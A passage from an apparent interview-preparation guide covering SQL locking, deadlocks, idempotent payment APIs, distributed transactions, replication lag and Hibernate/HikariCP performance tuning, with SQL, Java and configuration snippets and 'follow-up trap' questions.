UPDATE stock SET qty = 9, version = version + 1 WHERE sku = 'A1' AND version = 7;
```

Fix 1 is cheapest: the row lock is held only for the statement and the database serializes the arithmetic. Fix 2 suits complex logic between read and write. Fix 3 suits low contention and user-think-time flows.

FOLLOW-UP TRAPS

- **Does `SERIALIZABLE` also fix it?** Yes, but one transaction aborts with 40001 and must be retried.
- **Does the atomic UPDATE oversell under READ COMMITTED?** No; a concurrent updater waits, then re-evaluates the `WHERE qty > 0` on the new row version.

#lost-update #locking #atomic-update

Q6 How do `SELECT ... FOR UPDATE`, `FOR SHARE`, `NOWAIT` and `SKIP LOCKED` behave, and when do you use them? INTERMEDIATE

`FOR UPDATE` takes an exclusive row lock on the selected rows until the transaction ends; other writers and other `FOR UPDATE` readers wait. `FOR SHARE` takes a shared lock (blocks writers, allows other shared readers). `NOWAIT` fails immediately instead of waiting; `SKIP LOCKED` silently skips rows locked by others.

`SKIP LOCKED` turns a table into a work queue where many workers each claim different rows without blocking each other (PostgreSQL 9.5+, MySQL 8.0+):

```
BEGIN;
SELECT id, payload FROM jobs
WHERE status = 'PENDING'
ORDER BY id
LIMIT 10
FOR UPDATE SKIP LOCKED;
-- process, then
UPDATE jobs SET status = 'DONE' WHERE id IN (...);
COMMIT;
```

- Results are an inconsistent view by design; do not use it for correctness-sensitive reads.
- Index the filter so locking does not scan and lock many rows; in MySQL a non-indexed `FOR UPDATE` locks every scanned row.
- Keep the transaction short; a crashed worker releases its locks, so jobs return to the queue automatically.

FOLLOW-UP TRAPS

- **Does `FOR UPDATE` lock rows read through a join?** In PostgreSQL it locks rows from all tables unless you use `FOR UPDATE OF alias`.
- **Does the lock survive past the statement?** Until commit/rollback, not statement end.

#select-for-update #skip-locked #locking

Q7 Your app logs `deadlock detected`. How do deadlocks happen, how do you debug them and prevent them? INTERMEDIATE

A deadlock is a cycle of lock waits: T1 holds row A and wants B, T2 holds B and wants A. The database detects the cycle and aborts one transaction (PostgreSQL SQLSTATE 40P01 after `deadlock_timeout` of 1 s; InnoDB error 1213, rolls back the cheaper victim).

```
-- Session 1                      -- Session 2
UPDATE acct SET bal=bal-10        UPDATE acct SET bal=bal-10
 WHERE id=1;                       WHERE id=2;
UPDATE acct SET bal=bal+10        UPDATE acct SET bal=bal+10
 WHERE id=2;  -- waits             WHERE id=1;  -- DEADLOCK
```

Prevention:

- Acquire locks in a consistent global order (sort ids before updating a batch).
- Keep transactions short and avoid user interaction or remote calls inside them.
- Index predicates used by updates/deletes so they lock fewer rows (InnoDB gap/next-key locks widen on missing indexes).
- Lock the whole set up front with a single `SELECT ... ORDER BY id FOR UPDATE`.
- Retry the aborted transaction a bounded number of times with jitter.

Debugging: PostgreSQL logs both queries (`log_lock_waits = on`); MySQL `SHOW ENGINE INNODB STATUS` has a `LATEST DETECTED DEADLOCK` section.

FOLLOW-UP TRAPS

- **Can a single-statement `UPDATE` deadlock?** Yes, if two statements touch overlapping rows in different scan orders.
- **Is a lock wait timeout the same as a deadlock?** No, it is just a timeout (`innodb_lock_wait_timeout`, `lock_timeout`) with no cycle.

#deadlock #locking #retry

Q8 Optimistic vs pessimistic locking: when do you choose each, and how is optimistic locking implemented in JPA? INTERMEDIATE

Pessimistic locks the row up front (`FOR UPDATE`) and blocks competitors; optimistic assumes conflicts are rare, lets everyone proceed and detects a conflict at write time with a version column. Choose optimistic for web flows with user think time and low contention; pessimistic for hot rows with high conflict rates (counters, inventory), where optimistic retries would thrash.

```
@Entity
class Account {
    @Id Long id;
    @Version long version;   // Hibernate adds "where id=? and version=?"
    BigDecimal balance;
}
```

The SQL becomes `UPDATE account SET balance=?, version=version+1 WHERE id=? AND version=?`; zero rows updated raises `OptimisticLockException` (Spring: `ObjectOptimisticLockingFailureException`), and the caller reloads and retries or reports a conflict (HTTP 409 / ETag with `If-Match`).

- Optimistic locking works across HTTP requests, because no DB lock is held between them.

- `LockModeType.PESSIMISTIC_WRITE` maps to `FOR UPDATE`; `OPTIMISTIC_FORCE_INCREMENT` bumps the version even without a change.
- Bulk JPQL updates bypass `@Version` unless you increment it manually.

FOLLOW-UP TRAPS

- **Is a timestamp a good version column?** Weaker: clock resolution can miss two updates; prefer an integer counter.
- **Does `@Version` stop write skew across different rows?** No, it protects only the versioned row.

#optimistic-locking #version #jpa

Q9 **What is an idempotent operation and how do you make a payment API safe against client retries?** INTERMEDIATE

An operation is idempotent if repeating it has the same effect as doing it once. Networks time out and clients retry, so a "create payment" call must not charge twice. Use a client-supplied idempotency key enforced by a unique constraint.

```
CREATE TABLE payment (
  id bigserial PRIMARY KEY,
  idempotency_key text NOT NULL UNIQUE,
  amount numeric(12,2) NOT NULL,
  status text NOT NULL,
  response jsonb
);

INSERT INTO payment (idempotency_key, amount, status)
VALUES ('k-123', 50.00, 'PENDING')
ON CONFLICT (idempotency_key) DO NOTHING;   -- 0 rows => replay: return stored response
```

- Insert the key and perform the side effect in the same transaction where possible; for external calls (PSP) pass the key downstream too.
- Store the response so a retry returns the same result; reject same key with a different payload (422).
- Expire keys after a window (e.g. 24 h).
- MySQL equivalent: `INSERT ... ON DUPLICATE KEY UPDATE` or `INSERT IGNORE`.
- `PUT` and `DELETE` are idempotent by definition; `POST` is not and needs the key.

FOLLOW-UP TRAPS

- **Why not check `SELECT` first, then insert?** Two concurrent retries both see nothing; the unique constraint is the only race-free guard.
- **What if the first attempt is still in progress?** Return 409/processing based on the `PENDING` row rather than re-executing.

#idempotency #unique-constraint #api-design

Q10 **Can `@Transactional` span two databases or a database and a message broker? What are the options?** ADVANCED

A local transaction covers one resource. Spanning several needs either two-phase commit (XA/JTA) or a pattern that avoids it.

- **2PC/XA:** a coordinator asks all resources to prepare, then commit. Atomic but blocking: a coordinator crash leaves in-doubt transactions holding locks; poor throughput; not supported by most brokers and cloud services. Rarely used in modern microservices.
- **Transactional outbox:** write the business change and an event row in the same local transaction; a relay (poller or CDC such as Debezium) publishes the event, giving at-least-once delivery. Consumers must be idempotent.

- **Saga:** a sequence of local transactions with compensating actions (refund, cancel) on failure; orchestrated or choreographed. Eventual consistency; compensation can fail and intermediate states are visible.
- Dual write (`save()` then `kafkaTemplate.send()`) is the bug to avoid: a crash between the two loses or duplicates the event.

```
BEGIN;
INSERT INTO orders (id, status) VALUES (1, 'CREATED');
INSERT INTO outbox (aggregate_id, type, payload) VALUES (1, 'OrderCreated', '{"id":1}');
COMMIT;
```

FOLLOW-UP TRAPS

- **Does Kafka transactions + DB transaction give exactly-once end to end?** No, Kafka transactions cover Kafka only; use outbox plus idempotent consumers.
- **Is a saga ACID?** It lacks isolation; design with semantic locks or state flags (`PENDING`).

#distributed-transactions #outbox #saga #two-phase-commit

Q11 A user updates their profile and immediately reloads, but sees the old data. The system uses a primary and read replicas. Explain and fix.

INTERMEDIATE

Asynchronous replication applies WAL/binlog on the replica after commit, so a read routed to a replica can run before the write arrives (replication lag, from milliseconds to minutes under load). The user violates read-your-writes consistency.

Fixes:

- Route reads that must be fresh (immediately after a write by the same user, or in the same session) to the primary, e.g. for N seconds after a write via a session flag or cookie.
- Track the write's position (PostgreSQL LSN, MySQL GTID) and read from a replica only once it has replayed it (`pg_last_wal_replay_lsn()`, `WAIT_FOR_EXECUTED_GTID_SET`).
- Use synchronous replication (`synchronous_commit = remote_apply`) for critical data at a latency cost.
- Return the updated entity from the write response so the UI need not re-read.

```
-- PostgreSQL: measure lag on a replica
SELECT now() - pg_last_xact_replay_timestamp() AS lag;
```

In Spring, a routing `DataSource` keyed by `@Transactional(readOnly = true)` sends only read-only transactions to replicas, and anything that writes must stay on the primary.

FOLLOW-UP TRAPS

- **Does `readOnly = true` guarantee fresh data?** No, it only enables routing/optimizations.
- **Can a replica also serve a long query that conflicts with replay?** Yes, PostgreSQL may cancel it (`canceling statement due to conflict with recovery`) unless `hot_standby_feedback` or `max_standby_streaming_delay` is tuned.

#replication-lag #read-your-writes #replicas

Q12 A transaction is `idle in transaction` for 20 minutes and the database slows down. What happened and how do you prevent it?

INTERMEDIATE

A connection opened a transaction and stopped doing work, typically because application code made a slow remote call or waited for user input inside `@Transactional`, or a code path forgot to commit/rollback. Its locks stay held, its snapshot pins old row versions (bloat, VACUUM blocked), and it consumes a pooled connection until the pool starves.

```
SELECT pid, now() - state_change AS idle_for, query
FROM pg_stat_activity WHERE state = 'idle in transaction' ORDER BY idle_for DESC;

ALTER ROLE app SET idle_in_transaction_session_timeout = '30s';
ALTER ROLE app SET statement_timeout = '30s';
ALTER ROLE app SET lock_timeout = '5s';
```

Prevention:

- Keep transactions short; do HTTP calls and file I/O outside them (read, call, then write in a short transaction).
- Set DB-side timeouts and a pool `leakDetectionThreshold` (HikariCP).
- Avoid Open-Session-In-View holding connections during view rendering.
- MySQL: `innodb_lock_wait_timeout`, `wait_timeout`, and monitor `information_schema.innodb_trx`.

FOLLOW-UP TRAPS

- **Does a `SELECT` leave a transaction open?** In autocommit-off clients, yes: any statement starts a transaction that must be ended.
- **Is killing the session safe?** Yes, the DB rolls the transaction back; the app must handle the broken connection.

#long-transactions #connection-pool #timeouts

Q13 When is `SERIALIZABLE` the right choice, and how does PostgreSQL implement it differently from MySQL? ADVANCED

Use SERIALIZABLE when the invariant spans several rows that different transactions read and write (write skew, e.g. meeting-room double booking, "at least one admin remains") and explicit locks are impractical. The engine guarantees outcomes equal to some serial order.

- **PostgreSQL (9.1+):** Serializable Snapshot Isolation. Transactions run on snapshots without blocking, the engine tracks read-write dependencies (SIREAD locks) and aborts a transaction that would create a dangerous cycle with SQLSTATE 40001. No extra blocking, but false positives happen and retries are mandatory.
- **MySQL InnoDB:** converts plain reads to shared locking reads, using next-key locks; it blocks and can deadlock instead of failing with serialization errors.

```
BEGIN ISOLATION LEVEL SERIALIZABLE;
SELECT count(*) FROM booking WHERE room = 5 AND tstzrange(start_at,end_at) && tstzrange(:s,:e);
INSERT INTO booking (room, start_at, end_at) VALUES (5, :s, :e);
COMMIT;  -- may fail with 40001: retry the whole transaction
```

Alternative for the booking example: an exclusion constraint (`EXCLUDE USING gist (room WITH =, during WITH &&)`) enforces the invariant declaratively with no isolation tricks.

FOLLOW-UP TRAPS

- **Is retry just retrying the failed statement?** No, the entire transaction including the reads must be re-run.
- **Does serializable hurt throughput?** It adds tracking overhead and aborts; keep transactions short and indexed to reduce predicate-lock granularity.

#serializable #ssi #write-skew

Q14 In Spring, a method annotated `@Transactional` calls a private helper that retries on an optimistic lock failure, yet the retry reads stale data. Why? ADVANCED

The retry runs in the same transaction and the same persistence context, so the first-level cache returns the already loaded stale entity; also, after a failed flush the transaction is marked rollback-only and cannot continue. Retries must wrap the whole transaction, outside the proxy boundary, so each attempt gets a new transaction and a new session.

```
@Service
class TransferFacade {
    private final TransferService service;           // has @Transactional methods
    TransferFacade(TransferService service) { this.service = service; }

    public void transfer(long from, long to, BigDecimal amt) {
        for (int attempt = 1; ; attempt++) {
            try {
                service.transferInTx(from, to, amt); // new transaction per call
                return;
            } catch (ObjectOptimisticLockingFailureException e) {
                if (attempt == 3) throw e;
            }
        }
    }
}
```

Alternatively use Spring Retry `@Retryable` placed on a bean that calls the transactional bean (aspect ordering must put retry outside the transaction).

FOLLOW-UP TRAPS

- **Does `em.refresh()` help inside the same transaction?** It reloads state but the transaction may already be rollback-only after the exception.
- **Why does a self-invocation `this.transferInTx()` not start a new transaction?** The proxy is bypassed.

#spring #optimistic-locking #retry #persistence-context

Q15 A report running at REPEATABLE READ in MySQL shows consistent data, but the next query in the same transaction updates rows the report never saw. Explain.

ADVANCED

InnoDB plain `SELECT` uses a consistent snapshot established at the first read, so it ignores later commits. But `UPDATE`, `DELETE` and locking reads (`FOR UPDATE`) always operate on the latest committed version and can modify rows invisible to your snapshot; afterwards those rows become visible to you because your own changes are always seen. This mixes two views and produces surprising results.

```
-- T1 (REPEATABLE READ)                 -- T2
START TRANSACTION;
SELECT count(*) FROM t WHERE k=1;  -- 5
                                        INSERT INTO t (k) VALUES (1); COMMIT;
SELECT count(*) FROM t WHERE k=1;  -- 5 (snapshot)
UPDATE t SET flag=1 WHERE k=1;     -- affects 6 rows (latest data)
SELECT count(*) FROM t WHERE k=1;  -- 6 (own writes make the row visible)
```

- On a range with an index, InnoDB also takes gap and next-key locks, blocking inserts into the range by other transactions, which can cause unexpected waits and deadlocks; READ COMMITTED disables most gap locking (a common production setting with row-based binlog).
- PostgreSQL REPEATABLE READ is stricter: updating a row changed since the snapshot fails with a serialization error instead of silently using the latest version.

FOLLOW-UP TRAPS

- **Would READ COMMITTED be safer here?** It removes gap locks and snapshot-vs-latest confusion, but each statement sees different data.
- **Does `START TRANSACTION WITH CONSISTENT SNAPSHOT` change anything?** It takes the snapshot immediately rather than at the first read.

#mysql #innodb #consistent-read #gap-locks

DATABASE & CACHING · CHAPTER 3

Hibernate Performance Tuning

JDBC batching, ID generation, projections, second-level and query caches, flush behaviour, bulk operations, statement caching and connection pool sizing for Hibernate 6.

15 questions **3** basic **6** intermediate **6** advanced

Scenarios

Q1 Saving 10,000 entities with `saveAll` takes minutes. How do you make inserts fast? BASIC

By default each insert is a separate statement and round trip. Enable JDBC batching so Hibernate groups statements into one `executeBatch` call, and flush/clear the persistence context periodically.

```
spring:
  jpa:
    properties:
      hibernate:
        jdbc.batch_size: 50
        order_inserts: true
        order_updates: true
        batch_versioned_data: true
```

```
for (int i = 0; i < items.size(); i++) {
    em.persist(items.get(i));
    if (i % 50 == 49) { em.flush(); em.clear(); }   // bound memory, send the batch
}
```

- PostgreSQL JDBC additionally needs `reWriteBatchedInserts=true` to turn batches into multi-row inserts; MySQL Connector/J needs `rewriteBatchedStatements=true`.
- `order_inserts` groups by entity type so interleaved parent/child inserts still batch.
- Without `clear()` the persistence context grows and dirty checking slows down (O(n) per flush).

FOLLOW-UP TRAPS

- **Does batching work with `GenerationType.IDENTITY`?** No, Hibernate must execute each insert immediately to get the id, so JDBC batching is disabled for that entity.
- **Does `saveAll` itself batch?** It just loops `persist`; batching is a Hibernate/JDBC setting.

#batching #jdbc #insert

Q2 Which ID generation strategy is best for performance and why does `IDENTITY` hurt? INTERMEDIATE

`SEQUENCE` with a pooled optimizer (`allocationSize` > 1) is best: Hibernate reserves a block of ids per database call and assigns the rest in memory, so inserts can be batched and persist does not hit the database.

```
@Id
@GeneratedValue(strategy = GenerationType.SEQUENCE, generator = "order_seq")
@SequenceGenerator(name = "order_seq", sequenceName = "order_seq", allocationSize = 50)
private Long id;
```

```
CREATE SEQUENCE order_seq START WITH 1 INCREMENT BY 50;
```

- The sequence `INCREMENT BY` must equal `allocationSize`, otherwise ids collide or are wasted; a mismatch is a classic production bug.
- `IDENTITY` forces an immediate INSERT at `persist` time (so the id is known), which prevents batching and delays nothing else.

- MySQL has no sequences before MariaDB 10.3; with MySQL, `IDENTITY` is the practical choice, so batch via JDBC `executeBatch` on a different path (jOOQ, JdbcTemplate batch) for mass loads.
- `GenerationType.AUTO` in Hibernate 6 chooses SEQUENCE when the dialect supports it (Hibernate 5 chose the hilo-style `hibernate_sequence`).
- UUID v4 keys fragment B-tree indexes; prefer time-ordered ids (UUIDv7, ULID) for write-heavy tables.

FOLLOW-UP TRAPS

- **Does a large allocation size have a downside?** Gaps in ids after restarts (harmless) and multiple app nodes each reserve their own blocks.
- **Can you use `IDENTITY` and batch in PostgreSQL?** Not via Hibernate's insert batching.

#id-generation #sequence #identity

Q3 A list endpoint loads full entities but the UI needs 3 columns. What are the options? BASIC

Use a projection so the database returns only the needed columns, skipping hydration, dirty-checking snapshots and lazy association loading.

```
// Interface-based projection (Spring Data)
interface OrderSummary { Long getId(); String getStatus(); BigDecimal getTotal(); }
List<OrderSummary> findByCustomerId(Long customerId);

// Class-based DTO (record) via constructor expression
@Query("select new com.acme.OrderDto(o.id, o.status, o.total) from Order o where o.customerId =
:c")
List<OrderDto> findDtos(Long c);
```

- Entity results are tracked in the persistence context (snapshot copy per entity): costly memory and CPU for read-only views.
- DTO projections are not managed, so they cannot be modified and persisted; they also avoid `LazyInitializationException`.
- Dynamic interface projections over entities with nested associations can still load whole entities; check the generated SQL.
- Native queries with `@SqlResultSetMapping` or `Tuple` work for complex reporting.

FOLLOW-UP TRAPS

- **Does `readOnly = true` give the same benefit as a DTO?** Partially: it skips dirty checking/flush but still hydrates full entities.
- **Do interface projections always select fewer columns?** Closed projections (only getters) do; open projections using `@Value("#{...}")` load the entity.

#projections #dto #select

Q4 Explain first-level vs second-level cache vs query cache, and when each is worth it. INTERMEDIATE

- **First-level (L1):** per `Session` / `EntityManager`, always on; guarantees one instance per id within the persistence context and serves repeated `find` calls without SQL.
- **Second-level (L2):** shared across sessions in a `SessionFactory`, stores entity state (dehydrated arrays) by id; opt-in per entity with `@Cache` or JPA `@Cacheable`, needs a provider (Ehcache, Infinispan, Hazelcast, or JCache).
- **Query cache:** stores result sets of id lists for a query plus parameters; entities themselves must be in L2 or each id is re-fetched (N+1 on cache hits). Invalidated whenever any table in the query is modified.

```
spring.jpa.properties.hibernate:
  cache.use_second_level_cache: true
  cache.use_query_cache: true
  cache.region.factory_class: jcache
  javax.cache.provider: org.ehcache.jsr107.EhcacheCachingProvider
```

```
@Entity @Cacheable
@org.hibernate.annotations.Cache(usage = CacheConcurrencyStrategy.READ_WRITE)
class Country { /* rarely changes */ }
```

Worth it for read-mostly reference data with id lookups. Poor for frequently updated or large tables, and risky with multiple writers outside Hibernate (stale data), bulk updates (bypass L2 unless evicted) and clustered deployments without a distributed/invalidating provider.

FOLLOW-UP TRAPS

- **Does `@Cache` on a collection cache its entities?** It caches the collection of ids; the elements must be cached separately.
- **Is the query cache usually a win?** Seldom: one write to the table invalidates all its cached queries.

#second-level-cache #query-cache #caching

Q5 When does Hibernate flush, and how can auto-flush cause performance problems? INTERMEDIATE

With `FlushMode.AUTO` Hibernate flushes (sends pending SQL) before transaction commit and before executing a query whose tables overlap with pending changes (to give correct results). It does not flush for unrelated queries in JPA mode; native queries may trigger a flush of everything in plain Hibernate sessions.

- Each flush performs dirty checking: compares every managed entity with its loaded snapshot, O(entities). With 50,000 managed entities every query-triggered flush is expensive.
- Loops mixing `persist` and queries (`existsByEmail`) cause repeated flushes and short inserts.
- Mitigations: smaller transactions, `@Transactional(readOnly = true)` for read paths (Spring sets `FlushMode.MANUAL` for Hibernate sessions), `em.clear()` in batch jobs, `setFlushMode(COMMIT)` for specific queries, or `@DynamicUpdate` where wide rows make updates costly.
- With `readOnly=true`, Hibernate also skips creating snapshots for entities (read-only entity loading), saving memory.

```
em.createQuery("select c from Customer c where c.city = :c", Customer.class)
  .setHint("org.hibernate.readOnly", true)
  .setFlushMode(FlushModeType.COMMIT)
  .setParameter("c", "Pune").getResultList();
```

FOLLOW-UP TRAPS

- **Are changes to a managed entity persisted without calling `save`?** Yes, dirty checking writes them at flush.
- **Does `flush()` commit?** No, it only sends SQL; the transaction is still open and can roll back.

#flush #flushmode #dirty-checking

Q6 You must update 1 million rows. Loading entities and changing them is slow. What do you do? INTERMEDIATE

Do the work in the database with a set-based statement, not row by row through the persistence context.

```
@Modifying(clearAutomatically = true, flushAutomatically = true)
@Query("update Order o set o.status = 'ARCHIVED' where o.createdAt < :cutoff")
int archiveOld(Instant cutoff);
```

- Bulk JPQL/HQL updates and deletes bypass the persistence context, `@Version` increments, entity lifecycle callbacks, cascades and L2 cache (Hibernate evicts the affected entity regions, but managed instances in

memory become stale), hence `clearAutomatically = true`.

- For very large sets, chunk by primary key ranges (`where id between ? and ?`) in separate short transactions to limit lock time, undo/WAL volume and replication lag.
- If you must process entities with logic: `StatelessSession` (no L1/L2 cache, no dirty checking, no cascading) or batched `flush/clear`.
- `INSERT ... SELECT` and `DELETE` with joins can be done in HQL 6 or native SQL.

FOLLOW-UP TRAPS

- **Why does the entity still show the old status after the bulk update?** It is cached in the persistence context; clear or refresh it.
- **Does the bulk delete cascade through JPA mappings?** No, only database-level `ON DELETE CASCADE` applies.

#bulk-operations #jpql-update #stateless-session

Q7 Hibernate generates `update` statements setting all 30 columns for a one-column change. Is that a problem? INTERMEDIATE

By default Hibernate pre-builds one UPDATE per entity listing all columns, so the statement can be cached and batched, but it writes every column (including large TEXT/JSON) and WAL/binlog volume grows. `@DynamicUpdate` generates the SQL at runtime with only the changed columns.

```
@Entity
@org.hibernate.annotations.DynamicUpdate
class Product { /* wide table with large description */ }
```

- Trade-offs: smaller writes, less contention for column-level index maintenance; but more distinct statements (cache pressure, reduced batching because batches need identical SQL).
- In PostgreSQL, updating a TOASTed large value rewrites it; skipping unchanged large columns helps.
- Use it on wide tables with big columns or when different transactions update disjoint column sets; leave off for small entities.
- `@DynamicInsert` omits null columns, useful when relying on DB defaults.

FOLLOW-UP TRAPS

- **Does `@DynamicUpdate` stop the update when nothing changed?** Hibernate does not issue an UPDATE at all if dirty checking finds no change, with or without it.
- **Can `@Column(updatable=false)` replace it?** It excludes a column permanently, not per-change.

#dynamic-update #dirty-checking #statement-cache

Q8 How do you size a HikariCP connection pool? Why is "more connections" often slower? INTERMEDIATE

Databases run best with a small number of active connections close to what the CPU and disk can service concurrently. A well-known starting formula (from the HikariCP wiki) is `connections = (core_count * 2) + effective_spindle_count`, typically 10-20 per application instance for an 8-core database. More connections increase context switching, lock contention and memory (PostgreSQL forks a process per connection, ~5-10 MB each), reducing throughput.

```
spring.datasource.hikari:
  maximum-pool-size: 10
  minimum-idle: 10           # fixed-size pool recommended
  connection-timeout: 3000   # fail fast when pool exhausted
  max-lifetime: 1740000      # shorter than DB/proxy timeout (30 min)
  leak-detection-threshold: 20000
```

- Total across instances matters: 20 pods x 10 = 200 connections against a PostgreSQL `max_connections` of 100 will fail; use PgBouncer (transaction pooling) or fewer pods/threads.

- Little's law: pool size needed ~ throughput x average connection hold time. If each request holds a connection for 50 ms and you need 400 req/s, you need ~20 connections; cut hold time before growing the pool.
- Tomcat threads (200 default) far exceeding pool size is fine as long as hold time is short; queue waits show as `Connection is not available, request timed out`.

FOLLOW-UP TRAPS

- **Does PgBouncer transaction pooling break prepared statements or session state?** Yes, server-side prepared statements, advisory locks and `SET` session state need care (PgBouncer 1.21+ supports protocol-level prepared statements).
- **Why set `max-lifetime` below the infrastructure idle timeout?** To avoid handing out connections already killed by a firewall or proxy.

#connection-pool #hikaricp #sizing

Q9 **Requests fail with `HikariPool - Connection is not available, request timed out after 30000ms` under load. Diagnose.** ADVANCED

The pool is exhausted: all connections are checked out and new requesters wait until the timeout. Causes are leaks, long transactions, slow queries, or too small a pool for the hold time.

Investigate:

- Metrics: `hikaricp_connections_active`, `pending`, `usage` (hold time) histogram; compare active to max.
- `leak-detection-threshold` logs a stack trace for connections held too long.
- Thread dump: many threads waiting in `HikariPool.getConnection` while others sit in remote HTTP calls inside `@Transactional`.
- DB side: `pg_stat_activity` showing `idle in transaction` sessions.

Common culprits and fixes:

- Remote calls or sleeps inside a transaction: move them outside.
- Open Session In View (`spring.jpa.open-in-view=true`, default) holds the connection until the view is rendered: set it to `false`.
- A nested `REQUIRES_NEW` calling while the outer transaction holds a connection: with a pool of N and N threads each needing two connections, deadlock-like starvation occurs. Size the pool at least threads x 2 or avoid nesting.
- Connection released only after streaming a large response.

FOLLOW-UP TRAPS

- **Should you simply raise `maximum-pool-size` to 200?** That usually moves the bottleneck to the database; first reduce hold time.
- **Does lazy loading outside a service contribute?** Yes, with OSIV a lazy fetch during serialization may need a connection at an unexpected time.

#connection-pool #hikaricp #troubleshooting #osiv

Q10 **What is statement caching and what are `hibernate.query.plan_cache_max_size` and prepared statement caching?** ADVANCED

Two different caches matter:

1. **Hibernate query plan cache:** caches parsed HQL/JPQL and its translation to SQL (`hibernate.query.plan_cache_max_size`, default 2048). Dynamically built queries with inlined literals or huge `IN` lists with varying sizes create unique strings, fill the cache and cost parse time and heap.
2. **JDBC prepared statement cache:** per connection, reuses parsed server-side statements. PostgreSQL JDBC (`prepareThreshold=5`, `preparedStatementCacheQueries=256`) switches to server-side prepared

after 5 executions; MySQL Connector/J needs `cachePrepStmts=true`, `prepStmtCacheSize=250`, `useServerPrepStmts` (HikariCP no longer caches statements itself, leave it to the driver).

```
spring.jpa.properties.hibernate:
  query.plan_cache_max_size: 2048
  query.in_clause_parameter_padding: true   # pad IN lists to 1,2,4,8,16... parameters
```

- Always use bind parameters (never concatenate values): it prevents SQL injection and enables plan reuse.
- A varying `IN (?, ?, ?)` list length creates a separate plan per length; padding reduces the variety to powers of two.
- A PostgreSQL generic plan after the 5th execution can be worse for skewed values; `plan_cache_mode = force_custom_plan` resolves it.

FOLLOW-UP TRAPS

- **Does PgBouncer in transaction mode break server-side prepared statements?** Historically yes; set `prepareThreshold=0` or use a recent PgBouncer with prepared statement support.
- **Is the second-level cache related to statement caching?** No, they cache different things (data vs parsed SQL).

#statement-cache #query-plan-cache #prepared-statements

Q11 A `@OneToMany` update on a unidirectional list generates delete-all then insert-all. Why, and how do you avoid it? ADVANCED

For a `List` without an `@OrderColumn` (a "bag"), Hibernate cannot identify elements, so changing the collection deletes all join-table rows and reinserts the remaining ones. For a unidirectional `@OneToMany` mapped via a join table, adding one element can cost 1 + N statements.

Fixes:

- Prefer a bidirectional mapping with `@ManyToOne` on the child as the owning side and `mappedBy` on the parent, so adding a child is a single INSERT.
- Use a `Set` with proper `equals/hashCode` for unordered collections (updates by element identity).
- Use `@OrderColumn` only when order matters (shifts indexes on insert/remove at the head).
- Do not load huge collections just to add one child: `childRepository.save(new Child(parentRef))` with `em.getReference(Parent.class, id)` avoids loading the parent's collection.

```
@OneToMany(mappedBy = "order", cascade = CascadeType.ALL, orphanRemoval = true)
private Set<OrderLine> lines = new HashSet<>();
```

FOLLOW-UP TRAPS

- **Does `getReference` hit the database?** No, it returns a proxy; the SELECT happens only if you access a non-id property.
- **Does `cascade = ALL` on large collections hurt?** Yes: flush must cascade over every element and dirty-check each.

#collections #bag #onetomany #write-performance

Q12 When should you use `StatelessSession` or JDBC/JdbcTemplate instead of the JPA EntityManager? ADVANCED

Use them for high-volume ETL, imports or exports where entity state tracking has no value. `StatelessSession` has no first-level cache, no dirty checking, no cascading, no lazy loading, and no L2 interaction; each operation executes immediately (inserts can still use JDBC batching).

```
try (StatelessSession ss = sessionFactory.openStatelessSession()) {
    Transaction tx = ss.beginTransaction();
    try (ScrollableResults<Product> rs = ss.createQuery("from Product", Product.class)
            .setFetchSize(1000).scroll(ScrollMode.FORWARD_ONLY)) {
        while (rs.next()) { /* process */ }
    }
    tx.commit();
}
```

- Streaming on PostgreSQL needs `autocommit=false` and a fetch size, otherwise the driver loads the entire result; MySQL needs `useCursorFetch=true` or `Integer.MIN_VALUE` fetch size.
- For massive inserts, `JdbcTemplate.batchUpdate` or PostgreSQL `COPY` outruns any ORM; Hibernate 6.5 introduced `StatelessSession` upsert/insert-multiple helpers.
- Keep ORM for business logic with invariants and cascades; choose the tool by workload.

FOLLOW-UP TRAPS

- **Does `StatelessSession` fire entity listeners?** Interceptors apply, but JPA lifecycle callbacks and cascades do not.
- **Is Spring Data's `Stream<T>` repository method safe by itself?** It needs an open transaction, must be closed, and entities accumulate in the persistence context unless detached.

#statelesssession #bulk #jdbc-template

Q13 How do you find which queries Hibernate actually runs and where the time goes? BASIC

Combine application-side counts with database-side timings.

```
logging.level:
  org.hibernate.SQL: DEBUG
  org.hibernate.orm.jdbc.bind: TRACE      # bind values (Hibernate 6)
spring.jpa.properties.hibernate:
  generate_statistics: true
  session.events.log.LOG_QUERIES_SLOWER_THAN_MS: 25
```

- `Statistics` exposes query count, entity load/fetch counts, L2 hit/miss ratios and the slowest query string.
- Datasource-proxy or p6spy count statements and measure per-request timing; tests can assert maximum query counts.
- Database side: `pg_stat_statements`, slow query log, `EXPLAIN (ANALYZE, BUFFERS)` of the captured SQL with real parameters.
- APM traces (OpenTelemetry JDBC instrumentation) show query counts per endpoint.
- Do not leave `show-sql` or statistics at full detail in production: logging every statement is itself a bottleneck.

FOLLOW-UP TRAPS

- **Does Hibernate log the time of each query by default?** No, only the slow query threshold or statistics provide it.
- **Is the SQL in the log what the DB executes?** Yes, but values are bound separately; the log substitutes them for display.

#diagnostics #statistics #logging

Q14 A cached entity (`@Cacheable`, READ_WRITE) shows stale data after an admin script updated the table directly. What are the concurrency strategies and the fix? ADVANCED

Hibernate only invalidates L2 for changes it performs (or bulk HQL/JPQL it knows about). Direct SQL, other services, native queries without a declared synchronized space and database triggers leave the cache stale until expiry.

Strategies:

- `READ_ONLY`: fastest, entity never changes (reference data); an update throws.
- `NONSTRICT_READ_WRITE`: no locking; brief staleness window after updates; good for rarely changed data.
- `READ_WRITE`: soft locks to guarantee read-committed semantics for changes made through Hibernate.
- `TRANSACTIONAL`: full JTA transactional cache (Infinispan); expensive.

Fixes:

- Set a TTL and cache eviction on the region (`<expiry>` in Ehcache config).
- Evict programmatically: `sessionFactory.getCache().evictEntityData(Product.class, id)`; for native writes declare `addSynchronizedEntityClass(Product.class)` on the native query so Hibernate evicts that region.
- Do not cache data with multiple writers; consider Redis with explicit invalidation via an application-level cache (Spring Cache) instead.
- In a cluster, use a provider with distributed invalidation (Hazelcast, Infinispan, Ehcache with Terracotta) or each node caches independently.

> **FOLLOW-UP TRAPS**
> - **Does `READ_WRITE` make cache and database consistent with external writers?** No.
> - **Is L2 hit faster than a primary-key query?** Often only marginally against a warm database; measure before adding complexity.

#second-level-cache #concurrency-strategy #invalidation

Q15 After enabling batching you notice `batch_size` has no effect for updates in one flow. What can silently disable JDBC batching? ADVANCED

Check the executed statements with a statement-counting proxy (the SQL log alone cannot tell if they were batched). Typical causes:

- `GenerationType.IDENTITY` ids disable insert batching for that entity.
- Interleaved statements of different entities/tables without `order_inserts` / `order_updates`, which splits batches at each change of SQL.
